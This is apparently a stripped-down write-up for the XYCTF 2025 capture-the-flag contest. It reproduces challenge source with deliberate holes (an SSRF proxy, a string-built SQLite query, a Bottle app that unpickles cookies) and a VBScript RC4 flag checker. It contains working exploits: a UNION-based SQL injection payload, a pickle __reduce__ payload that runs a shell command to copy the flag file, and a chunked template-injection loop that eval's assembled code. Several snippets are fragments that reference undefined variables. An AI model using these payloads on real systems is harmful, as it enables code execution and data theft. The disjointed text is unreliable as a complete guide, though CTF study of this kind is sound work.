#!/usr/bin/env python3 import flask import sqlite3 import requests import string import json app = flask.Flask(__name__) blacklist = string.ascii_letters def binary_to_string(binary_string): if len(binary_string) % 8 != 0: raise ValueError("Binary string length must be a multiple of 8") binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)] string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) return string_output
@app.route('/proxy', methods=['GET']) def nolettersproxy(): url = flask.request.args.get('url') if not url: return flask.abort(400, 'No URL provided') target_url = "http://lamentxu.top" + url for i in blacklist: if i in url: return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~') if "." in url: return flask.abort(403, 'No ssrf allowed') response = requests.get(target_url)
return flask.Response(response.content, response.status_code) def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") found = cur.fetchone() return None if found is None else found[0]
@app.route('/1337', methods=['GET']) def api_search(): if flask.request.remote_addr == '127.0.0.1': code = flask.request.args.get('0') if code == 'abcdefghi': req = flask.request.args.get('1') try: req = binary_to_string(req) print(req) req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;) except: flask.abort(400, "Invalid JSON") if 'name' not in req: flask.abort(400, "Empty Person's name")
name = req['name'] if len(name) > 6: flask.abort(400, "Too long") if '\'' in name: flask.abort(400, "NO '") if ')' in name: flask.abort(400, "NO )") """ Some waf hidden here ;) """
fate = db_search(name) if fate is None: flask.abort(404, "No such Person")
return {'Fate': fate} else: flask.abort(400, "Hello local, and hello hacker") else: flask.abort(403, "Only local access allowed")
{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}
拼接进SQL查询语句中就是这样的
1
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}')))))))
# -*- encoding: utf-8 -*- ''' @File : main.py @Time : 2025/03/28 22:20:49 @Author : LamentXU ''' ''' flag in /flag_{uuid4} ''' from bottle import Bottle, request, response, redirect, static_file, run, route with open('../../secret.txt', 'r') as f: secret = f.read()
app = Bottle() @route('/') def index(): return '''HI''' @route('/download') def download(): name = request.query.filename if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name: response.status = 403 return 'Forbidden' with open(name, 'rb') as f: data = f.read() return data
@route('/secret') def secret_page(): try: session = request.get_cookie("name", secret=secret) if not session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return 'Forbidden!' if session["name"] == "admin": return 'The secret has been deleted!' except: return "Error!" run(host='0.0.0.0', port=8080, debug=False)
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) if secret: # See BaseResponse.set_cookie for details on signed cookies. if value and value.startswith('!') and '?' in value: sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): dst = pickle.loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default return value or default
可以看到对cookie进行了反序列化,那么我们只要传入一个序列化的恶意代码就好
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from bottle import cookie_encode import os import requests secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
class Test: def __reduce__(self): return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))
p = [payload[i:i+3] for i in range(0,len(payload),3)] flag = True for i in p: if flag: tmp = f'\n%import os;os.a="{i}"' flag = False else: tmp = f'\n%import os;os.a+="{i}"' r = requests.get(url,params={"payload":tmp})
r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"}) r = requests.get(url,params={"payload":"\n%include('123')"}).text print(r)
MsgBox "Dear CTFER. Have fun in XYCTF 2025!" flag = InputBox("Enter the FLAG:", "XYCTF") wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4" ' C4 qwfe = "rc4key"
' RC4 Function RunRC(sMessage, strKey) Dim kLen, i, j, temp, pos, outHex Dim s(255), k(255)
' ? kLen = Len(strKey) For i = 0 To 255 s(i) = i k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1)) ' ASCII Next
' KSA j = 0 For i = 0 To 255 j = (j + s(i) + k(i)) Mod 256 temp = s(i) s(i) = s(j) s(j) = temp Next
' PRGA i = 0 : j = 0 : outHex = "" For pos = 1 To Len(sMessage) i = (i + 1) Mod 256 j = (j + s(i)) Mod 256 temp = s(i) s(i) = s(j) s(j) = temp
' ? Dim plainChar, cipherByte plainChar = Asc(Mid(sMessage, pos, 1)) ' SCII cipherByte = s((s(i) + s(j)) Mod 256) Xor plainChar outHex = outHex & Right("0" & Hex(cipherByte), 2) Next
RunRC = outHex End Function
' If LCase(RunRC(flag, qwfe)) = LCase(wefbuwiue) Then MsgBox "Congratulations! Correct FLAG!" Else MsgBox "Wrong flag." End If